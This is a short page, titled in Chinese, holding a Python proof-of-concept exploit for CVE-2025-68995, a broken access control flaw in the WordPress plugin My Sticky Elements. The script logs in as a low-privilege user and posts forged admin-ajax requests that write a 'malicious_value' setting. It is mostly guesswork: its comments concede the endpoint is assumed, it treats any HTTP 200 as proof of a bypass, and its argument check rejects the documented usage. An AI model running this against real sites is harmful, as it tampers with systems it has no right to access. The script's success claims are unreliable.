CVE-2025-68995 My Sticky Elements插件授权绕过漏洞

import requests import sys # CVE-2025-68995 PoC - My Sticky Elements Broken Access Control # Target: WordPress site with My Sticky Elements plugin <= 2.3.3 def exploit_cve_2025_68995(target_url, username, password): """ Exploit for Missing Authorization vulnerability in My Sticky Elements plugin This PoC demonstrates how a low-privilege user can access admin functions """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Step 2: Try to access admin function without proper authorization # Common vulnerable endpoint in My Sticky Elements admin_ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Try to access settings or configuration function exploit_data = { 'action': 'mystickyelements_ajax_action', 'nonce': 'exploit', # May not be properly validated 'mystickyelements_option': 'settings', 'mystickyelements_value': 'malicious_value' } resp = session.post(admin_ajax_url, data=exploit_data) if resp.status_code == 200: print("[!] Access control bypass successful - low privilege user accessed admin function") print(f"[+] Response: {resp.text[:500]}") return True else: print("[-] Exploit failed or access was properly denied") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py http://example.com lowprivuser password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_68995(target, user, pwd)